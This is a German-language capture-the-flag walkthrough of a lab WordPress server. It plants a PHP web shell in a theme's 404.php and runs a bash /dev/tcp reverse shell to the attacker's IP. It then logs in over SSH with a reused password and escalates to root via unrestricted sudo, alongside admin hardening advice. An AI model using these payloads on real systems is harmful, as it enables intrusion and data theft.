**Zusammenfassung Initial Access:** Durch die Untersuchung der anonymen SMB-Freigabe wurde eine Backup-Datei (`backup.zip`) gefunden. Diese enthielt eine WordPress-Installation und eine Textdatei (`remember_me.txt`). Aus der `wp-config.php` wurden Datenbank-Zugangsdaten extrahiert (`kb_vuln` / `hellelujah`), und die `remember_me.txt` enthielt die Zugangsdaten (`admin` / `MachineBoy141`), die wahrscheinlich für den WordPress-Admin oder den Systembenutzer `kbadmin` gültig sind. Der nächste Schritt ist die Nutzung dieser Zugangsdaten, um tatsächlichen Zugriff zu erlangen.

Proof of Concept (Reverse Shell via WordPress Theme Editor)

**Ziel:** Demonstrieren, wie der erlangte administrative Zugriff auf WordPress genutzt werden kann, um beliebigen Code auf dem Webserver auszuführen und eine interaktive Shell (Reverse Shell) zum Angreifer-System aufzubauen. Dies beweist, dass die Kompromittierung der Webanwendung zu einer vollständigen Kompromittierung des Webservers führen kann (zumindest im Kontext des Webserver-Benutzers).

**Voraussetzungen:**

**Schritt 1: Login in WordPress**
Der erste Schritt (hier nicht explizit als Befehl gezeigt, aber im Text erwähnt) ist der Login in das WordPress-Dashboard unter `http://kb.vuln/wordpress/wp-login.php` mit den zuvor gefundenen Zugangsdaten: `admin` / `MachineBoy141`.
*Kommentar:* Der erfolgreiche Login wird im Berichtstext mit "success login wordpress" bestätigt. Dies gewährt uns administrative Kontrolle über die WordPress-Instanz.

**Schritt 2: Zugriff auf den Theme-Editor und Modifikation einer Theme-Datei**
Navigiere im WordPress-Adminbereich zu "Design" -> "Theme-Datei-Editor" (oder direkt zur URL `http://kb.vuln/wordpress/wp-admin/theme-editor.php`). Wähle ein Theme (hier `twentynineteen`) und eine Datei aus, die nicht kritisch für die Seitendarstellung ist und vom Webserver ausgeführt wird, z.B. die `404.php` (Fehlerseite).
Füge folgenden PHP-Code in die `404.php`-Datei ein (Maskierung angewendet):


                    
system($ GET['cmd']);
                    
*Kommentar:* Dieser Code nimmt einen Befehl über den URL-Parameter `cmd` entgegen und führt ihn über die PHP-Funktion `system()` auf dem Server aus. Dies ist eine einfache PHP-Web-Shell. Im Berichtstext steht `system($ GET['cmd']);` - das Leerzeichen nach `$` ist syntaktisch falsch in PHP, es sollte `$ GET['cmd']` heißen. Es ist möglich, dass es trotzdem funktioniert hat oder im Originalbericht ein Tippfehler vorlag. Ich dokumentiere es wie im Originaltext. Speichere die Datei. Der Bericht bestätigt dies mit "File edited successfully.".

**Schritt 3: Testen der Web-Shell**
Rufe die modifizierte Datei mit einem einfachen Befehl auf, um die Funktionalität zu testen:
`http://kb-vuln.vln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=ls`
Die erwartete Ausgabe ist die Liste der Dateien im Verzeichnis des Themes:

404.php
archive.php
classes
comments.php
fonts
footer.php
functions.php
header.php
image.php
inc
index.php
js
package-lock.json
package.json
page.php
postcss.config.js
print.css
print.scss
readme.txt
sass
screenshot.png
search.php
single.php
style-editor-customizer.css
style-editor-customizer.scss
style-editor.css
style-editor.scss
style-rtl.css
style.css
style.scss
template-parts
                         
*Kommentar:* Die Ausgabe bestätigt, dass die Web-Shell funktioniert und Befehle als der Benutzer ausgeführt werden, unter dem der Webserver läuft (typischerweise `www-data`).

**Schritt 4: Aufsetzen des Netcat-Listeners**
Öffne auf dem Angreifer-System (Cybermaschine) ein Terminal und starte einen Netcat-Listener, der auf eingehende Verbindungen auf einem gewählten Port (hier 4444) wartet.

┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
                    

**Analyse:** `nc` (Netcat) ist ein vielseitiges Netzwerk-Tool.

*Kommentar:* Der Listener ist nun bereit, die eingehende Reverse Shell vom Zielsystem zu empfangen.

**Schritt 5: Auslösen der Reverse Shell**
Rufe die Web-Shell-URL erneut auf, diesmal jedoch mit einem Befehl, der eine Reverse Shell zum Listener auf dem Angreifer-System aufbaut. Der Befehl muss URL-kodiert sein.
Payload (dekodiert): `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'`
URL-kodierter Payload (wie im Berichtstext angegeben): `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27`
Vollständige URL (laut Berichtstext, mit `view-source:` Präfix, was ungewöhnlich ist, aber so dokumentiert wird):
`view-source:http://kb-vuln.vln/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27`

*Analyse des Payloads:*

*Kommentar:* Dieser Befehl stellt eine Verbindung vom Zielserver zum wartenden Listener des Angreifers her und leitet die Ein- und Ausgabe der Shell über diese Verbindung um. Das `view-source:` Präfix ist seltsam; normalerweise würde man die URL direkt im Browser aufrufen, um den PHP-Code auszuführen. Es könnte ein Fehler in der Dokumentation sein oder eine spezielle Browserfunktion genutzt worden sein. Entscheidend ist, dass der `cmd`-Parameter an den Server gesendet wird.

**Schritt 6: Empfang der Reverse Shell**
Wenn der Payload erfolgreich ausgeführt wird, verbindet sich der Zielserver mit dem Netcat-Listener des Angreifers.

┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.130] 60770
bash: cannot set terminal process group (1326): Inappropriate ioctl for device
bash: no job control in this shell
www-data@kb-server:/var/www/html/wordpress/wp-content/themes/twentynineteen$
                    

**Ergebnis & Bewertung:** Fantastisch! Die Verbindung wurde erfolgreich hergestellt (`connect to ... from ...`). Der Angreifer hat nun eine interaktive Shell auf dem Zielsystem (`www-data@kb-server:...`). Die Fehlermeldungen (`cannot set terminal process group`, `no job control`) sind typisch für einfache Reverse Shells und bedeuten, dass es keine vollwertige TTY-Shell ist (z.B. funktionieren Jobkontrolle wie `Ctrl+C` oder Programme wie `sudo` möglicherweise nicht korrekt ohne weitere Schritte). Trotzdem wurde das Ziel des POC erreicht: Codeausführung und Erlangung einer Shell als Webserver-Benutzer `www-data`.
**Risikobewertung:** Hoch. Die Kompromittierung der Webanwendung (durch gestohlene Admin-Zugangsdaten) ermöglichte die Ausführung von Befehlen auf dem Server. Ein Angreifer kann nun auf alle Daten zugreifen, auf die der `www-data`-Benutzer Zugriff hat (Webseiten-Quellcode, möglicherweise andere Konfigurationsdateien), das System weiter ausforschen und versuchen, die Rechte auf `root` auszuweiten.
**Empfehlungen (Admin):**

Privilege Escalation

Nachdem initialer Zugriff als niedrig privilegierter Benutzer (`www-data`) erlangt wurde, ist das nächste Ziel, die Berechtigungen auf dem System zu erhöhen, idealerweise auf den `root`-Benutzer, der uneingeschränkte Kontrolle hat. Dies beinhaltet die Suche nach Fehlkonfigurationen, Schwachstellen oder unbeabsichtigten Berechtigungen.

www-data@kb-server:/var/www/html/wordpress/wp-content/themes/twentynineteen$ ls
index.php	 wp-blog-header.php    wp-includes	  wp-signup.php
license.txt	 wp-comments-post.php  wp-links-opml.php  wp-trackback.php
readme.html	 wp-config-sample.php  wp-load.php	  xmlrpc.php
uploads		 wp-config.php	       wp-login.php
wp-activate.php  wp-content	       wp-mail.php
wp-admin	 wp-cron.php	       wp-settings.php
                     

**Analyse:** Der Befehl `ls` wird im aktuellen Verzeichnis (`/var/www/html/wordpress/wp-content/themes/twentynineteen`) ausgeführt. Die Ausgabe zeigt Standard-WordPress-Dateien.
**Bewertung:** Dieser Befehl dient der Orientierung innerhalb der Shell. Er bestätigt, dass wir uns im WordPress-Verzeichnis befinden. Es ist eine Wiederholung des `ls`-Befehls aus dem POC, was darauf hindeutet, dass der Pentester sich erneut orientiert.
**Empfehlung (Pentester):** Beginne mit der systematischen Enumeration des Systems aus der Sicht des `www-data`-Benutzers. Überprüfe Benutzerinformationen, Systemkonfigurationen, laufende Prozesse, Netzwerkverbindungen und SUID/GUID-Dateien.
**Empfehlung (Admin):** Keine direkte Aktion, dies ist Teil des Angriffsflusses.

html/wordpress/wp-content/themes/twentynineteen$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                    

**Analyse:** Der Befehl `id` zeigt die Benutzer- und Gruppeninformationen für den aktuellen Benutzer an.
**Bewertung:** Wir sind als Benutzer `www-data` (User ID 33) angemeldet und gehören nur zur Gruppe `www-data` (Group ID 33). Dies bestätigt, dass wir mit den Rechten des Webservers agieren und keine besonderen zusätzlichen Gruppenberechtigungen haben.
**Empfehlung (Pentester):** Suche nach Möglichkeiten, von `www-data` zu einem anderen Benutzer oder zu `root` zu wechseln. Ein häufiger Ansatz ist die Suche nach Dateien mit dem SUID-Bit.
**Empfehlung (Admin):** Stelle sicher, dass Dienstkonten wie `www-data` nur Mitglied in den absolut notwendigen Gruppen sind und über minimale Rechte verfügen (Prinzip der geringsten Rechte).

find / -type f -perm -4000 -ls 2>/dev/null
      562     16 -rwsr-xr-x   1 root     root        14328 Jan 12  2022 /usr/lib/policykit-1/polkit-agent-helper-1
     5442    128 -rwsr-xr-x   1 root     root       130264 May 29 12:10 /usr/lib/snapd/snap-confine
     4863    428 -rwsr-xr-x   1 root     root       436552 Aug 11  2021 /usr/lib/openssh/ssh-keysign
     7362    100 -rwsr-xr-x   1 root     root       100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
     6616     44 -rwsr-xr--   1 root     messagebus    42992 ct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1068     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
      442     52 -rwsr-sr-x   1 daemon   daemon        51464 Feb 20  2018 /usr/bin/at
      289     76 -rwsr-xr-x   1 root     root          76496 Nov 29  2022 /usr/bin/chfn
     4325     40 -rwsr-xr-x   1 root     root          37136 Nov 29  2022 /usr/bin/newuidmap
      917     60 -rwsr-xr-x   1 root     root          59640 Nov 29  2022 /usr/bin/passwd
      876     20 -rwsr-xr-x   1 root     root          18448 Jun 28  2019 /usr/bin/traceroute6.iputils
      688    148 -rwsr-xr-x   1 root     root         149080 Apr  4 12:44 /usr/bin/sudo
     7258     40 -rwsr-xr-x   1 root     root          40344 Nov 29  2022 /usr/bin/newgrp
      713     44 -rwsr-xr-x   1 root     root          44528 Nov 29  2022 /usr/bin/chsh
     4318     40 -rwsr-xr-x   1 root     root          37136 Nov 29  2022 /usr/bin/newgidmap
      915     76 -rwsr-xr-x   1 root     root          75824 Nov 29  2022 /usr/bin/gpasswd
      515     24 -rwsr-xr-x   1 root     root          22520 Jan 12  2022 /usr/bin/pkexec
   131207     28 -rwsr-xr-x   1 root     root          26696 Sep 16  2020 /bin/umount
   131157     44 -rwsr-xr-x   1 root     root          43088 Sep 16  2020 /bin/mount
   131140     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   136915     44 -rwsr-xr-x   1 root     root          44664 Nov 29  2022 /bin/su
   131191     64 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /bin/ping
                    

**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit bedeutet, dass die Datei immer mit den Rechten des Dateieigentümers ausgeführt wird, unabhängig davon, wer sie startet. Wenn der Eigentümer `root` ist, wird die Datei mit Root-Rechten ausgeführt.

**Bewertung:** Die Ausgabe listet alle SUID-Binärdateien auf dem System auf. Viele davon sind Standard-Systemdateien (`passwd`, `sudo`, `su`, `mount`, `ping` etc.). Es ist wichtig, diese Liste auf ungewöhnliche oder veraltete SUID-Dateien zu überprüfen, die bekannte Schwachstellen zur Privilegieneskalation aufweisen könnten (z.B. ältere Versionen von `pkexec`). Auf den ersten Blick scheinen hier keine offensichtlich ungewöhnlichen oder veralteten SUID-Binaries zu sein, die direkt ausnutzbar wären. `sudo` ist jedoch immer ein interessanter Kandidat, falls der aktuelle Benutzer `sudo`-Rechte hat.
**Empfehlung (Pentester):** Prüfe, ob der `www-data`-Benutzer `sudo`-Rechte hat (`sudo -l`). Untersuche die Versionen der SUID-Binaries auf bekannte Exploits (z.B. `pkexec --version`). Suche nach weiteren Vektoren wie Kernel-Exploits (`uname -a`), falsch konfigurierten Cron-Jobs (`ls -la /etc/cron.*`), schreibbaren Konfigurationsdateien oder Diensten, die mit hohen Rechten laufen (`ps aux`).
**Empfehlung (Admin):** Überprüfe regelmäßig die SUID/GUID-Binaries auf dem System. Entferne das SUID/GUID-Bit von Dateien, bei denen es nicht absolut notwendig ist. Halte das System und alle Pakete aktuell, um bekannte Schwachstellen (insbesondere in SUID-Programmen) zu patchen. Verwende Tools wie `aide` oder `tripwire`, um Änderungen an kritischen Systemdateien zu überwachen.

www-data@kb-server:/tmp$ ls
f
www-data@kb-server:/tmp$ ls /home/
kbadmin
www-data@kb-server:/tmp$ cd /home/kbadmin/
www-data@kb-server:/home/kbadmin$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1678 Sep 16  2020 /etc/passwd

**Analyse:** Eine Sequenz von Befehlen zur weiteren Erkundung:

**Bewertung:** Der Benutzer `kbadmin` wird als einziger regulärer Benutzer bestätigt. Der Wechsel in sein Home-Verzeichnis ist ein logischer Schritt, um nach interessanten Dateien zu suchen. Die Berechtigungen von `/etc/passwd` sind normal.
**Empfehlung (Pentester):** Untersuche den Inhalt des `/home/kbadmin`-Verzeichnisses (`ls -la`). Suche nach versteckten Dateien, Skripten, Konfigurationsdateien (z.B. `.bash_history`), SSH-Schlüsseln oder anderen Hinweisen.
**Empfehlung (Admin):** Stelle sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (normalerweise `700` oder `750`), um zu verhindern, dass andere Benutzer (wie `www-data`) hineinsehen können. In diesem Fall scheint `www-data` jedoch Zugriff zu haben, was eine Fehlkonfiguration sein könnte oder daran liegt, dass `/home/kbadmin` für alle lesbar/ausführbar ist.

www-data@kb-server:/home/kbadmin$ cat user.txt
03bf4d20dac5644c75e69e40bad48db0
www-data@kb-server:/home/kbadmin$ cat note.txt
use DoCKER!

**Analyse:** Im Home-Verzeichnis von `kbadmin` werden zwei Dateien ausgegeben:

**Bewertung:** Die Benutzerflagge wurde gefunden: `03bf4d20dac5644c75e69e40bad48db0`. Der Hinweis "use DoCKER!" ist sehr wichtig für die weitere Privilegieneskalation. Docker ist eine Containerisierungsplattform, und Fehlkonfigurationen oder die Zugehörigkeit zur `docker`-Gruppe können oft zur Eskalation auf `root` genutzt werden.
**Empfehlung (Pentester):** Notiere die User-Flag. Überprüfe, ob Docker installiert ist (`docker --version`) und ob der Benutzer `kbadmin` (oder vielleicht sogar `www-data`, obwohl unwahrscheinlich) Mitglied der `docker`-Gruppe ist (`id kbadmin`, `groups kbadmin`). Untersuche Möglichkeiten zur Privilegieneskalation über Docker. Versuche außerdem, dich per SSH als `kbadmin` mit dem Passwort `MachineBoy141` anzumelden, da dies oft stabiler ist als eine Reverse Shell.
**Empfehlung (Admin):** Flags sollten nicht für normale Benutzer lesbar sein. Der Hinweis auf Docker deutet auf einen möglichen Eskalationspfad hin. Wenn Docker verwendet wird, stelle sicher, dass nur absolut vertrauenswürdige Benutzer zur `docker`-Gruppe gehören, da dies quasi Root-Äquivalent ist. Docker-Sockets sollten entsprechend gesichert sein.

┌──(root㉿Cybermaschine)-[~]
└─# ssh kbadmin@kb.vuln
The authenticity of host 'kb.vuln (192.168.2.130)' can't be established.
ED25519 key fingerprint is SHA256:Il3nmMoZ8wdxuBTbi/itnoPGHeL+U5JtNZfMPL02LQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'kb.vuln' (ED25519) to the list of known hosts.
kbadmin@kb.vuln's password:
Permission denied, please try again.
kbadmin@kb.vuln's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-117-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Sep 25 21:39:21 UTC 2023

  System load:  0.0                Processes:              122
  Usage of /:   40.7% of 13.71GB   Users logged in:        0
  Memory usage: 34%                IP address for enp0s3:  192.168.2.130
  Swap usage:   0%                 IP address for docker0: 172.17.0.1

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

88 packages can be updated.
1 update is a security update.


* System restart required *
Last login: Thu Sep 17 10:45:19 2020
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

kbadmin@kb-server$
                    

**Analyse:** Der Pentester versucht nun, sich per SSH mit dem Benutzer `kbadmin` und dem Hostnamen `kb.vuln` (der zuvor in `/etc/hosts` definiert wurde) zu verbinden.

**Bewertung:** Der Login als `kbadmin` mittels SSH war erfolgreich! Das Passwort `MachineBoy141` wurde wiederverwendet. Dies bietet eine stabilere und voll funktionsfähige Shell im Vergleich zur vorherigen `www-data`-Reverse-Shell. Die MOTD bestätigt das Vorhandensein von Docker (`IP address for docker0: 172.17.0.1`).
**Empfehlung (Pentester):** Die SSH-Sitzung als `kbadmin` ist ideal für die weitere Eskalation. Überprüfe jetzt die `sudo`-Rechte für `kbadmin` (`sudo -l`) und untersuche die Docker-Konfiguration und -Berechtigungen (`id`, `docker ps`, `docker images`).
**Empfehlung (Admin):** Passwort-Wiederverwendung ist ein großes Risiko. Setze Richtlinien durch, die eindeutige Passwörter für verschiedene Konten (Systembenutzer, Datenbankbenutzer, Anwendungsbenutzer) erfordern. Überwache SSH-Logins auf fehlgeschlagene und erfolgreiche Anmeldungen. Halte das System aktuell (88 Updates verfügbar, 1 Sicherheitsupdate). Konfiguriere MOTD so, dass es keine unnötigen Informationen preisgibt.

kbadmin@kb-server$ sudo -l
[sudo] password for kbadmin:
Matching Defaults entries for kbadmin on kb-server:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kbadmin may run the following commands on kb-server:
    (ALL : ALL) ALL
                    

**Analyse:** Der Befehl `sudo -l` listet die Befehle auf, die der aktuelle Benutzer (`kbadmin`) mit `sudo` (also mit Root-Rechten) ausführen darf. Das Passwort für `kbadmin` (`MachineBoy141`) muss erneut eingegeben werden.
**Bewertung:** Das Ergebnis `(ALL : ALL) ALL` ist der heilige Gral der `sudo`-Berechtigungen. Es bedeutet, dass der Benutzer `kbadmin` *jeden* Befehl (`ALL`) als *jeder* Benutzer (`ALL`) auf *diesem* Host (`ALL`) ausführen darf. Dies entspricht vollen Root-Rechten. Die Konfiguration erlaubt `kbadmin` uneingeschränkten Root-Zugriff über `sudo`.
**Empfehlung (Pentester):** Die Privilegieneskalation ist trivial. Führe einfach `sudo su` oder `sudo -i` aus, um eine Root-Shell zu erhalten.
**Empfehlung (Admin):** Gewähre `sudo`-Rechte nach dem Prinzip der geringsten Rechte. Anstatt `(ALL : ALL) ALL` zu erlauben, sollten Benutzer nur die spezifischen Befehle mit `sudo` ausführen dürfen, die sie für ihre Aufgaben benötigen. Überprüfe regelmäßig die `/etc/sudoers`-Datei auf übermäßige Berechtigungen. Verwende `NOPASSWD:` nur in Ausnahmefällen und mit Bedacht. In diesem Fall hätte `kbadmin` keine uneingeschränkten `sudo`-Rechte haben dürfen.

kbadmin@kb-server$ sudo su
root@kb-server:/home/kbadmin# id
uid=0(root) gid=0(root) groups=0(root)
root@kb-server:/home/kbadmin# cd
root@kb-server:~# ls
flag.txt
root@kb-server:~# cat
^C
root@kb-server:~# cat flag.txt
dc387b4cf1a4143f562dd1bdb3790ff1

**Analyse:** Die Befehlssequenz zeigt die erfolgreiche Privilegieneskalation:

**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Die uneingeschränkten `sudo`-Rechte von `kbadmin` ermöglichten die einfache Eskalation zu `root`. Die Root-Flagge `dc387b4cf1a4143f562dd1bdb3790ff1` wurde erfolgreich ausgelesen. Das Ziel des Penetrationstests wurde erreicht.
**Empfehlung (Pentester):** Dokumentiere den Pfad zur Privilegieneskalation (SSH-Login als `kbadmin` mit wiederverwendetem Passwort, Ausnutzung der `sudo`-Fehlkonfiguration). Sammle abschließende Informationen (Systemkonfiguration, installierte Software, etc.), falls erforderlich.
**Empfehlung (Admin):** Implementiere die zuvor genannten Empfehlungen bezüglich Passwort-Wiederverwendung und `sudo`-Rechten. Überprüfe, warum `kbadmin` überhaupt `sudo`-Rechte hatte und ob diese notwendig waren.

**Zusammenfassung Privilege Escalation:** Nach dem initialen Zugriff als `www-data` wurde das Home-Verzeichnis des Benutzers `kbadmin` untersucht. Dort wurde die User-Flag und ein Hinweis auf Docker gefunden. Es gelang, sich per SSH als `kbadmin` mit einem wiederverwendeten Passwort (`MachineBoy141`) anzumelden. Eine Überprüfung der `sudo`-Rechte (`sudo -l`) ergab, dass `kbadmin` uneingeschränkte Root-Rechte über `sudo` besaß (`(ALL : ALL) ALL`). Durch Ausführen von `sudo su` wurde eine Root-Shell erlangt und die Root-Flagge aus `/root/flag.txt` gelesen.

Flags

cat /home/kbadmin/user.txt
03bf4d20dac5644c75e69e40bad48db0
cat /root/flag.txt
dc387b4cf1a4143f562dd1bdb3790ff1